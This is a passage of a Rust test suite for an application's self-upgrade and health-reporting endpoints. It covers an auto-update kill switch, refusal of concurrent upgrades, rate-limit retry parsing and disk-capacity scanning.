21996    /// `should_check` says, which is why the state file here is missing
21997    /// entirely: read alone, that alone would answer "never checked, go
21998    /// ahead".
21999    #[test]
22000    fn recheck_defers_to_an_upgrade_already_in_flight() {
22001        let dir = TempDir::new().expect("temp dir");
22002        let path = dir.path().join("state.json");
22003        let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
22004        let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
22005
22006        assert!(
22007            !update_recheck_due(&checker, Some(&progress)),
22008            "a recheck must not run while an upgrade this deck started is \
22009             still moving"
22010        );
22011    }
22012
22013    #[tokio::test]
22014    async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
22015        // The same env var the background check honours (`disabled_by_env`)
22016        // must also stop a button press before it ever calls
22017        // `Checker::newer_release` - an operator who set `MAGI_NO_AUTOUPDATE`
22018        // means "never contact GitHub from this process", and a tap on the
22019        // upgrade button must not override that any more than a broken
22020        // `magi.toml` may. Left unset, this fixture's default config would
22021        // otherwise reach a real, unauthenticated GitHub call.
22022        //
22023        // SAFETY: single-threaded as far as this variable goes - nothing else
22024        // in this binary reads `MAGI_NO_AUTOUPDATE` concurrently, the same
22025        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
22026        unsafe {
22027            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
22028        }
22029        let fx = Fixture::start().await;
22030        let res = fx.post("/api/upgrade", None).await;
22031        unsafe {
22032            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
22033        }
22034        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
22035        let body = res.json();
22036        assert!(body["to"].is_null(), "there was no release to move to");
22037        assert!(body["parked"].is_null(), "and nothing was parked");
22038        assert!(
22039            body["detail"]
22040                .as_str()
22041                .unwrap()
22042                .contains("disabled by MAGI_NO_AUTOUPDATE"),
22043            "{body:?}"
22044        );
22045    }
22046
22047    #[test]
22048    fn auto_upgrade_decision_respects_policy_work_and_failed_tags() {
22049        use AutoUpgradeDecision::{Skip, Trigger, Wait};
22050        let mut cfg = Update::default();
22051        assert!(matches!(
22052            auto_upgrade_decision(&cfg, false, false, false, "v2", None),
22053            Skip(_)
22054        ));
22055        cfg.auto_restart = true;
22056        assert_eq!(
22057            auto_upgrade_decision(&cfg, false, false, false, "v2", None),
22058            Trigger
22059        );
22060        assert_eq!(
22061            auto_upgrade_decision(&cfg, false, false, true, "v2", None),
22062            Wait
22063        );
22064        for (disabled, moving, failed) in [
22065            (true, false, None),
22066            (false, true, None),
22067            (false, false, Some("v2")),
22068        ] {
22069            assert!(matches!(
22070                auto_upgrade_decision(&cfg, disabled, moving, false, "v2", failed),
22071                Skip(_)
22072            ));
22073        }
22074        assert_eq!(
22075            auto_upgrade_decision(&cfg, false, false, false, "v3", Some("v2")),
22076            Trigger
22077        );
22078        cfg.mode = UpdateMode::Off;
22079        assert!(matches!(
22080            auto_upgrade_decision(&cfg, false, false, false, "v2", None),
22081            Skip(_)
22082        ));
22083    }
22084
22085    #[test]
22086    fn auto_upgrade_waits_for_detached_workers_but_not_the_scheduler() {
22087        let home = TempDir::new().unwrap();
22088        let ui = idle_ui(&home);
22089        assert!(!ui.auto_upgrade_busy());
22090        let directory = home.path().join("workers/jobs/abcdef");
22091        std::fs::create_dir_all(&directory).unwrap();
22092        let mut job = crate::worker::Job {
22093            id: "abcdef".into(),
22094            sequence: 1,
22095            kind: "scheduler".into(),
22096            key: "scheduler".into(),
22097            payload: serde_json::json!({}),
22098            generation: "test".into(),
22099            version: None,
22100            status: crate::worker::Status::Running,
22101            result: None,
22102            pid: None,
22103            created_at: 0,
22104            finished_at: None,
22105        };
22106        let lease = crate::worker::execution_lease_for_test(&directory.join("live.lock"));
22107        let write = |job: &crate::worker::Job| {
22108            std::fs::write(directory.join("job.json"), serde_json::to_vec(job).unwrap()).unwrap();
22109        };
22110        write(&job);
22111        assert!(!ui.auto_upgrade_busy(), "an idle scheduler permits updates");
22112        for kind in ["task", "chat"] {
22113            job.kind = kind.into();
22114            write(&job);
22115            assert!(ui.auto_upgrade_busy(), "a detached {kind} defers updates");
22116        }
22117        drop(lease);
22118        // A lib test thread that spawns with `pre_exec` forks this process, and
22119        // the child shares the lock's open file description until its exec
22120        // closes it (O_CLOEXEC). So the lock can outlive `drop` for a moment;
22121        // wait for it to be really free (bounded) before judging the state,
22122        // instead of racing whatever other test happens to be spawning.
22123        let free = std::time::Instant::now() + std::time::Duration::from_secs(10);
22124        loop {
22125            let probe = std::fs::OpenOptions::new()
22126                .read(true)
22127                .write(true)
22128                .open(directory.join("live.lock"))
22129                .unwrap();
22130            if crate::pr_head::try_lock_file(&probe).is_ok() {
22131                break;
22132            }
22133            assert!(
22134                std::time::Instant::now() < free,
22135                "the worker lease was never released"
22136            );
22137            std::thread::sleep(std::time::Duration::from_millis(5));
22138        }
22139        assert!(
22140            !ui.auto_upgrade_busy(),
22141            "completed execution permits updates"
22142        );
22143        std::fs::create_dir_all(home.path().join("workers/jobs/bad")).unwrap();
22144        assert!(
22145            ui.auto_upgrade_busy(),
22146            "unreadable worker state defers updates"
22147        );
22148    }
22149
22150    fn fail_test_upgrade(_: PathBuf) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
22151        Box::pin(async { anyhow::bail!("test installer failed") })
22152    }
22153
22154    #[tokio::test]
22155    async fn auto_upgrade_uses_shared_progress_and_failure_cleanup_only_when_idle() {
22156        let home = TempDir::new().unwrap();
22157        std::fs::write(
22158            home.path().join("magi.toml"),
22159            "[update]\nauto_restart = true\n",
22160        )
22161        .unwrap();
22162        let mut ui = idle_ui(&home);
22163        ui.repo = home.path().to_path_buf();
22164        // Every successful trigger in this test uses this seam, never the installer.
22165        ui.upgrade_runner = fail_test_upgrade;
22166        let ui = Arc::new(ui);
22167        let latest = || {
22168            Some(kaishin::LatestRelease {
22169                tag_name: "v999.0.0".into(),
22170                html_url: String::new(),
22171            })
22172        };
22173        ui.talk_turns.lock().unwrap().live.insert("busy".into());
22174        assert_eq!(
22175            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
22176                .await
22177                .status(),
22178            StatusCode::NO_CONTENT
22179        );
22180        assert!(updater::read_progress(home.path()).is_none());
22181        ui.talk_turns.lock().unwrap().live.clear();
22182        let gate = ui.upgrade_gate.lock().await;
22183        assert_eq!(
22184            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
22185                .await
22186                .status(),
22187            StatusCode::CONFLICT
22188        );
22189        drop(gate);
22190        assert_eq!(
22191            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
22192                .await
22193                .status(),
22194            StatusCode::ACCEPTED
22195        );
22196        let progress = updater::read_progress(home.path()).unwrap();
22197        assert_eq!(progress.trigger, updater::UpgradeTrigger::Auto);
22198        assert_eq!(progress.stage, updater::Stage::Downloading);
22199        assert!(progress.parked_run.is_none());
22200        assert!(ui.start_detached_loop().await.is_err());
22201        assert!(ui.start_loop(None).is_err());
22202        assert!(ui.begin_resume("late").is_err());
22203        tokio::time::timeout(Duration::from_secs(2), async {
22204            while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
22205                tokio::task::yield_now().await;
22206            }
22207        })
22208        .await
22209        .unwrap();
22210        let progress = updater::read_progress(home.path()).unwrap();
22211        assert_eq!(progress.stage, updater::Stage::Failed);
22212        assert_eq!(
22213            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
22214                .await
22215                .status(),
22216            StatusCode::NO_CONTENT
22217        );
22218        // The manual shared path records the same progress and runs the same seam.
22219        let result = upgrade_checked(&ui, "old".into(), Ok(latest()));
22220        assert_eq!(
22221            finish_upgrade_request(&ui, result).status(),
22222            StatusCode::ACCEPTED
22223        );
22224        assert_eq!(
22225            updater::read_progress(home.path()).unwrap().trigger,
22226            updater::UpgradeTrigger::Manual
22227        );
22228        tokio::time::timeout(Duration::from_secs(2), async {
22229            while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
22230                tokio::task::yield_now().await;
22231            }
22232        })
22233        .await
22234        .unwrap();
22235    }
22236
22237    fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
22238        let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
22239        p.stage = stage;
22240        p
22241    }
22242
22243    #[test]
22244    fn busy_stages_match_the_ui_set() {
22245        use crate::updater::Stage;
22246        assert!(APP_JS.contains(
22247            "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
22248        ));
22249        for s in [
22250            Stage::Downloading,
22251            Stage::Replaced,
22252            Stage::Parking,
22253            Stage::Restarting,
22254        ] {
22255            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
22256        }
22257        for s in [Stage::Done, Stage::Failed] {
22258            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
22259        }
22260        assert!(upgrade_in_motion(None).is_none());
22261    }
22262
22263    #[tokio::test]
22264    async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
22265        use crate::updater::Stage;
22266        for stage in [
22267            Stage::Downloading,
22268            Stage::Replaced,
22269            Stage::Parking,
22270            Stage::Restarting,
22271        ] {
22272            let fx = Fixture::start().await;
22273            let seeded = seeded_progress(stage);
22274            crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
22275            let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
22276                .expect("read");
22277
22278            let res = fx.post("/api/upgrade", None).await;
22279            assert_eq!(res.status, 409, "{stage:?}");
22280            let err = res.json()["error"].as_str().unwrap().to_owned();
22281            assert!(err.contains("already in progress"), "{err}");
22282            assert!(err.contains(stage.as_str()), "{err}");
22283
22284            let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
22285                .expect("read");
22286            assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
22287            let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
22288                .unwrap_or_default();
22289            assert!(!log.contains("signalling HANDOVER"), "{log}");
22290        }
22291    }
22292
22293    #[test]
22294    fn upgrade_retry_timing_only_parses_known_diagnostics() {
22295        assert_eq!(
22296            upgrade_retry_after("GitHub API rate limit exceeded (resets in 1h 2m 3s). Use a token"),
22297            Some(3723)
22298        );
22299        assert_eq!(
22300            upgrade_retry_after("GitHub secondary rate limit hit (retry after 1m). Slow down"),
22301            Some(60)
22302        );
22303        assert_eq!(
22304            upgrade_retry_after("GitHub API rate limit exceeded (retry now)"),
22305            Some(0)
22306        );
22307        for message in [
22308            "permission denied",
22309            "GitHub API rate limit exceeded",
22310            "GitHub rate limit (resets in unknown)",
22311            "GitHub rate limit (resets in 18446744073709551615d)",
22312        ] {
22313            assert_eq!(upgrade_retry_after(message), None, "{message}");
22314        }
22315    }
22316
22317    #[tokio::test]
22318    async fn upgrade_request_failure_survives_health_without_changing_successful_progress() {
22319        let home = TempDir::new().unwrap();
22320        let ui = Arc::new(idle_ui(&home).with_worktrees_root(home.path().join("wt")));
22321        ui.start_loop(None).unwrap();
22322        updater::write_progress(home.path(), &seeded_progress(updater::Stage::Done)).unwrap();
22323        let before = std::fs::read(updater::progress_path(home.path())).unwrap();
22324        let reason = "GitHub API rate limit exceeded (resets in 2m). Authenticate the request";
22325        let result = upgrade_checked(&ui, "0.1.0".into(), Err(anyhow::anyhow!(reason)));
22326        let response = finish_upgrade_request(&ui, result);
22327        assert_eq!(response.status(), StatusCode::INTERNAL_SERVER_ERROR);
22328        assert_eq!(response.headers()["retry-after"], "120");
22329        let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
22330            .await
22331            .unwrap();
22332        let body: serde_json::Value = serde_json::from_slice(&bytes).unwrap();
22333        assert!(body["error"].as_str().unwrap().contains(reason));
22334        assert_eq!(body["retry_after_secs"], 120);
22335        assert!(body["retry_at"].as_u64().is_some());
22336        for _ in 0..2 {
22337            let view = health(State(ui.clone())).await.unwrap().0;
22338            let failure = serde_json::to_value(view.upgrade_request_error).unwrap();
22339            assert_eq!(failure, body);
22340        }
22341        assert_eq!(
22342            std::fs::read(updater::progress_path(home.path())).unwrap(),
22343            before
22344        );
22345        assert!(!ui.lock_loop().live.as_ref().unwrap().stop.stopped());
22346        assert!(!ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst));
22347        // A conflicting request must not erase the actionable earlier failure.
22348        let gate = ui.upgrade_gate.lock().await;
22349        assert_eq!(
22350            upgrade_post(State(ui.clone())).await.status(),
22351            StatusCode::CONFLICT
22352        );
22353        drop(gate);
22354        assert!(
22355            health(State(ui.clone()))
22356                .await
22357                .unwrap()
22358                .0
22359                .upgrade_request_error
22360                .is_some()
22361        );
22362        let out = upgrade_checked(&ui, "0.1.0".into(), Ok(None));
22363        assert_eq!(finish_upgrade_request(&ui, out).status(), StatusCode::OK);
22364        assert!(
22365            health(State(ui.clone()))
22366                .await
22367                .unwrap()
22368                .0
22369                .upgrade_request_error
22370                .is_none()
22371        );
22372        let live = ui.lock_loop().live.take().unwrap();
22373        live.stop.stop();
22374        live.handle.await.unwrap();
22375    }
22376
22377    #[tokio::test]
22378    async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
22379        use crate::updater::Stage;
22380        let repo = TempDir::new().expect("repo dir");
22381        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
22382            .expect("write magi.toml");
22383        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
22384        for stage in [Stage::Done, Stage::Failed] {
22385            crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
22386            let res = fx.post("/api/upgrade", None).await;
22387            assert_eq!(res.status, 200, "{stage:?}");
22388        }
22389        // No record at all, and the gate was released by the earlier calls.
22390        let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
22391        assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
22392    }
22393
22394    #[tokio::test]
22395    async fn an_upgrade_with_nothing_to_install_changes_nothing() {
22396        // `[update] mode = "off"` so `updater::Checker::new` returns `None`
22397        // and the route answers from its own logic.
22398        //
22399        // This test used to lean on the fixture's placeholder repo failing
22400        // config discovery, which left `mode = "notify"` - and a live,
22401        // unauthenticated call to the GitHub releases API inside a unit test.
22402        // GitHub allows 60 of those an hour per address, so the suite went red
22403        // on `macos-latest` and nowhere else, in bursts, and stayed red for as
22404        // long as somebody kept re-running it: every attempt spent another
22405        // request. Six reruns across four pull requests were charged to that
22406        // before it was read as a rate limit rather than a flake.
22407        //
22408        // What the assertion is about is the "already current" branch, which
22409        // is reached by there being no newer release *or* nowhere to look. The
22410        // second one needs no network and cannot be rate limited.
22411        let repo = TempDir::new().expect("repo dir");
22412        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
22413            .expect("write magi.toml");
22414        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
22415
22416        // It must answer 200 and leave the process alone: restarting for an
22417        // upgrade that did not happen parks the run in flight and drops every
22418        // connection to pay for nothing. A probe against a deck already on the
22419        // newest build did exactly that, which is how this case got its own
22420        // branch.
22421        let res = fx.post("/api/upgrade", None).await;
22422        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
22423        let body = res.json();
22424        assert!(body["to"].is_null(), "there was no release to move to");
22425        assert!(body["parked"].is_null(), "and nothing was parked");
22426        assert!(
22427            body["detail"]
22428                .as_str()
22429                .unwrap()
22430                .contains("nothing restarted"),
22431            "{body:?}"
22432        );
22433    }
22434
22435    async fn wait_for_disk_scan(state: &Arc<Mutex<DiskObservation>>) {
22436        tokio::time::timeout(Duration::from_secs(5), async {
22437            while state.lock().unwrap().in_flight {
22438                tokio::task::yield_now().await;
22439            }
22440        })
22441        .await
22442        .expect("capacity scan finished");
22443    }
22444
22445    fn disk_test_scope(home: &FsPath) -> DiskScope {
22446        DiskScope {
22447            runs: home.join("runs"),
22448            worktrees: home.join("worktrees"),
22449            cache: Some(home.join("cache")),
22450        }
22451    }
22452
22453    fn known_disk_capacity() -> DiskCapacity {
22454        DiskCapacity {
22455            free_bytes: Some(100),
22456            runs_bytes: Some(200),
22457            worktrees_bytes: Some(300),
22458            cache_bytes: Some(400),
22459        }
22460    }
22461
22462    #[tokio::test]
22463    async fn health_disk_cold_and_concurrent_requests_do_not_wait_for_capacity() {
22464        let home = TempDir::new().unwrap();
22465        std::fs::write(home.path().join("magi.toml"), "[update]\nmode = \"off\"\n").unwrap();
22466        let mut ui = delta_test_ui(home.path());
22467        let state = Arc::get_mut(&mut ui).unwrap();
22468        state.repo = home.path().to_owned();
22469        state.worktrees_root = home.path().join("worktrees");
22470        *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
22471        ui.monitor
22472            .worker_started
22473            .store(true, std::sync::atomic::Ordering::SeqCst);
22474        let cfg = deputy_config(&ui.repo);
22475        let scope = DiskScope::of(&ui, cfg.as_ref());
22476        let (started, reached) = tokio::sync::oneshot::channel();
22477        let (release, blocked) = std::sync::mpsc::channel();
22478        let cold = DiskObservation::observe(&ui.monitor.disk, scope, move |_| {
22479            started.send(()).unwrap();
22480            blocked.recv().unwrap();
22481            known_disk_capacity()
22482        });
22483        assert!(cold.runs_bytes.is_none());
22484        tokio::time::timeout(Duration::from_secs(5), reached)
22485            .await
22486            .unwrap()
22487            .unwrap();
22488
22489        let requests: Vec<_> = (0..4)
22490            .map(|_| {
22491                let ui = ui.clone();
22492                tokio::spawn(async move { health(State(ui)).await.unwrap().0 })
22493            })
22494            .collect();
22495        tokio::time::timeout(Duration::from_secs(5), async {
22496            for request in requests {
22497                let view = request.await.unwrap();
22498                let disk = serde_json::to_value(view.disk).unwrap();
22499                assert!(disk["runs_bytes"].is_null());
22500                assert!(disk["worktrees_bytes"].is_null());
22501                assert!(disk.get("free_bytes").is_none());
22502            }
22503        })
22504        .await
22505        .expect("health must return while the measurement is causally blocked");
22506        assert!(ui.monitor.disk.lock().unwrap().in_flight);
22507        // No competing worker can have published while the first holds flight.
22508        assert!(
22509            ui.monitor
22510                .disk
22511                .lock()
22512                .unwrap()
22513                .capacity
22514                .runs_bytes
22515                .is_none()
22516        );
22517        release.send(()).unwrap();
22518        wait_for_disk_scan(&ui.monitor.disk).await;
22519        assert_eq!(
22520            ui.monitor.disk.lock().unwrap().capacity.runs_bytes,
22521            Some(200)
22522        );
22523    }
22524
22525    #[tokio::test]
22526    async fn health_disk_refresh_retains_successes_and_cadence_starts_at_completion() {
22527        let home = TempDir::new().unwrap();
22528        let scope = disk_test_scope(home.path());
22529        let state = Arc::new(Mutex::new(DiskObservation {
22530            scope: Some(scope.clone()),
22531            capacity: known_disk_capacity(),
22532            finished: Some(std::time::Instant::now() - DISK_REFRESH * 2),
22533            ..Default::default()
22534        }));
22535        let (started, reached) = tokio::sync::oneshot::channel();
22536        let (release, blocked) = std::sync::mpsc::channel();
22537        let before = DiskObservation::observe(&state, scope.clone(), move |_| {
22538            started.send(()).unwrap();
22539            blocked.recv().unwrap();
22540            DiskCapacity {
22541                runs_bytes: Some(250),
22542                ..Default::default()
22543            }
22544        });
22545        assert_eq!(before.cache_bytes, Some(400));
22546        tokio::time::timeout(Duration::from_secs(5), reached)
22547            .await
22548            .unwrap()
22549            .unwrap();
22550        let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
22551        for _ in 0..4 {
22552            let scans = duplicate_scans.clone();
22553            let during = DiskObservation::observe(&state, scope.clone(), move |_| {
22554                scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
22555                DiskCapacity::default()
22556            });
22557            assert_eq!(during.runs_bytes, Some(200));
22558            assert_eq!(during.cache_bytes, Some(400));
22559        }
22560        release.send(()).unwrap();
22561        wait_for_disk_scan(&state).await;
22562        let scans = duplicate_scans.clone();
22563        let after = DiskObservation::observe(&state, scope, move |_| {
22564            scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
22565            DiskCapacity::default()
22566        });
22567        wait_for_disk_scan(&state).await;
22568        assert_eq!(after.runs_bytes, Some(250));
22569        assert_eq!(after.free_bytes, Some(100));
22570        assert_eq!(after.cache_bytes, Some(400));
22571        assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
22572        assert!(state.lock().unwrap().finished.unwrap().elapsed() < DISK_REFRESH);
22573    }
22574
22575    #[tokio::test]
22576    async fn health_disk_changed_scope_never_publishes_the_previous_cache() {
22577        let home = TempDir::new().unwrap();
22578        let old_scope = disk_test_scope(home.path());
22579        let mut new_scope = old_scope.clone();
22580        new_scope.cache = Some(home.path().join("replacement-cache"));
22581        let state = Arc::new(Mutex::new(DiskObservation {
22582            scope: Some(old_scope.clone()),
22583            capacity: known_disk_capacity(),
22584            ..Default::default()
22585        }));
22586        let (started, reached) = tokio::sync::oneshot::channel();
22587        let (release, blocked) = std::sync::mpsc::channel();
22588        DiskObservation::observe(&state, old_scope, move |_| {
22589            started.send(()).unwrap();
22590            blocked.recv().unwrap();
22591            known_disk_capacity()
22592        });
22593        tokio::time::timeout(Duration::from_secs(5), reached)
22594            .await
22595            .unwrap()
22596            .unwrap();
22597        let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
22598        let scans = duplicate_scans.clone();
22599        let changed = DiskObservation::observe(&state, new_scope.clone(), move |_| {
22600            scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
22601            DiskCapacity::default()
22602        });
22603        assert!(changed.cache_bytes.is_none());
22604        assert!(changed.runs_bytes.is_none());
22605        release.send(()).unwrap();
22606        wait_for_disk_scan(&state).await;
22607        {
22608            let observation = state.lock().unwrap();
22609            assert!(observation.capacity.cache_bytes.is_none());
22610            assert!(observation.finished.is_none());
22611        }
22612        DiskObservation::observe(&state, new_scope.clone(), move |scope| {
22613            assert_eq!(scope, &new_scope);
22614            DiskCapacity {
22615                cache_bytes: Some(999),
22616                ..Default::default()
22617            }
22618        });
22619        wait_for_disk_scan(&state).await;
22620        assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(999));
22621        assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
22622    }
22623
22624    #[tokio::test]
22625    async fn health_disk_panicked_worker_releases_flight_and_retries_after_cadence() {
22626        let home = TempDir::new().unwrap();
22627        let scope = disk_test_scope(home.path());
22628        let state = Arc::new(Mutex::new(DiskObservation {
22629            scope: Some(scope.clone()),
22630            capacity: known_disk_capacity(),
22631            ..Default::default()
22632        }));
22633        DiskObservation::observe(&state, scope.clone(), |_| panic!("capacity worker failure"));
22634        wait_for_disk_scan(&state).await;
22635        {
22636            let mut observation = state.lock().unwrap();
22637            assert_eq!(observation.capacity.cache_bytes, Some(400));
22638            assert!(observation.finished.unwrap().elapsed() < DISK_REFRESH);
22639            observation.finished = Some(std::time::Instant::now() - DISK_REFRESH);
22640        }
22641        DiskObservation::observe(&state, scope, |_| DiskCapacity {
22642            cache_bytes: Some(450),
22643            ..Default::default()
22644        });
22645        wait_for_disk_scan(&state).await;
22646        assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(450));
22647    }
22648
22649    #[test]
22650    fn health_disk_capacity_counts_empty_and_missing_without_following_links() {
22651        let home = TempDir::new().unwrap();
22652        assert_eq!(disk_capacity_size(&home.path().join("missing")), Some(0));
22653        assert_eq!(disk_capacity_size(home.path()), Some(0));
22654        std::fs::create_dir(home.path().join("nested")).unwrap();
22655        std::fs::write(home.path().join("nested/data"), b"12345").unwrap();
22656        assert_eq!(disk_capacity_size(home.path()), Some(5));
22657        #[cfg(unix)]
22658        {
22659            // Unix distinguishes an invalid descendant lookup from absence.
22660            assert_eq!(
22661                disk_capacity_size(&home.path().join("nested/data/child")),
22662                None
22663            );
22664        }
22665        #[cfg(unix)]
22666        {
22667            std::os::unix::fs::symlink(home.path(), home.path().join("nested/link")).unwrap();
22668            assert_eq!(disk_capacity_size(home.path()), Some(5));
22669        }
22670    }
22671
22672    #[tokio::test]
22673    async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
22674        // `mode = "off"` for the same reason as the test above: a default
22675        // fixture repo falls back to `mode = "notify"`, which would make this
22676        // route's new `update` field a live, unauthenticated GitHub call on
22677        // every assertion in this suite that happens to hit `/api/health`.
22678        let repo = TempDir::new().expect("repo dir");
22679        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
22680            .expect("write magi.toml");
22681        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
22682
22683        let health = fx.get("/api/health").await.json();
22684        assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
22685        assert_eq!(
22686            health["update"]["available"], false,
22687            "checking is off, which reads as \"unknown\", not \"none\""
22688        );
22689        assert!(health["update"]["to"].is_null());
22690        assert!(
22691            health["upgrade"].is_null(),
22692            "nothing has ever asked this deck to upgrade"
22693        );
22694    }
22695
22696    #[tokio::test]
22697    async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
22698        let fx = Fixture::start().await;
22699        write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
22700
22701        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22702        progress.parked_run = Some("20260905-000000-cd51".to_owned());
22703        progress.advance(crate::updater::Stage::Parking);
22704        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
22705
22706        let health = fx.get("/api/health").await.json();
22707        assert_eq!(health["upgrade"]["stage"], "parking");
22708        assert_eq!(health["upgrade"]["from"], "0.5.1");
22709        assert_eq!(health["upgrade"]["to"], "0.5.2");
22710        let waiting_on = health["upgrade"]["waiting_on"]
22711            .as_str()
22712            .expect("waiting_on is set while parking a known run");
22713        assert!(waiting_on.contains("cd51"), "{waiting_on}");
22714        assert!(waiting_on.contains("implementing"), "{waiting_on}");
22715    }
22716
22717    #[tokio::test]
22718    async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
22719        let fx = Fixture::start().await;
22720        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22721        progress.advance(crate::updater::Stage::Done);
22722        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
22723
22724        let health = fx.get("/api/health").await.json();
22725        assert_eq!(health["upgrade"]["stage"], "done");
22726        assert!(
22727            health["upgrade"]["waiting_on"].is_null(),
22728            "nothing to wait on once it is done"
22729        );
22730    }
22731
22732    /// The handover signal is seen however the race falls, and wakes its one
22733    /// waiter once per signal - nothing here can spin.
22734    #[tokio::test]
22735    async fn the_handover_signal_wakes_one_waiter_once() {
22736        let signal = Notify::new();
22737        // Signalled before anyone waits: the stored permit is not lost.
22738        signal.notify_one();
22739        tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
22740            .await
22741            .expect("an early signal is still seen");
22742        // One signal, one wake-up: a second wait does not resolve by itself.
22743        assert!(
22744            tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
22745                .await
22746                .is_err(),
22747            "a consumed signal must not wake a second time"
22748        );
22749        // Signalled while waiting.
22750        let signal = std::sync::Arc::new(signal);
22751        let waiter = tokio::spawn({
22752            let signal = std::sync::Arc::clone(&signal);
22753            async move { wait_for_handover(&signal).await }
22754        });
22755        tokio::time::sleep(Duration::from_millis(20)).await;
22756        assert!(!waiter.is_finished(), "nothing was signalled yet");
22757        signal.notify_one();
22758        tokio::time::timeout(Duration::from_secs(5), waiter)
22759            .await
22760            .expect("a late signal wakes the waiter")
22761            .expect("join");
22762    }
22763
22764    #[tokio::test]
22765    async fn health_says_how_long_a_handover_has_been_stuck() {
22766        let fx = Fixture::start().await;
22767        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22768        progress.advance(crate::updater::Stage::Replaced);
22769        progress.updated_at = Timestamp::now() - Duration::from_secs(600);
22770        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
22771
22772        let health = fx.get("/api/health").await.json();
22773        let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
22774        assert!(stuck >= 600, "{stuck}");
22775        assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
22776        assert!(health["upgrade"]["waiting_on"].as_str().is_some());
22777    }
22778
22779    #[tokio::test]
22780    async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
22781        let home = tempfile::tempdir().expect("temp home");
22782        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22783        progress.advance(crate::updater::Stage::Parking);
22784        crate::updater::write_progress(home.path(), &progress).expect("seed");
22785        // What the second upgrade_and_restart and its handler do.
22786        let mut again = progress.clone();
22787        again.advance(crate::updater::Stage::Replaced);
22788        crate::updater::write_progress(home.path(), &again).expect("replaced");
22789        let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22790        crate::updater::write_progress(home.path(), &fresh).expect("downloading");
22791        let after = crate::updater::read_progress(home.path()).expect("record");
22792        assert_eq!(after.stage, crate::updater::Stage::Parking);
22793    }
22794
22795    #[tokio::test]
22796    async fn health_does_not_call_a_live_parking_wait_stuck() {
22797        let fx = Fixture::start().await;
22798        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22799        progress.parked_run = Some("20260905-000000-cd51".to_owned());
22800        progress.advance(crate::updater::Stage::Parking);
22801        let hours = Duration::from_secs(3 * 3600);
22802        progress.started_at = Timestamp::now() - hours;
22803        progress.updated_at = Timestamp::now() - hours;
22804        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
22805        let _lease = crate::updater::LeaseGuard::enter(
22806            fx.home.path(),
22807            Some("20260905-000000-cd51".to_owned()),
22808        );
22809
22810        let health = fx.get("/api/health").await.json();
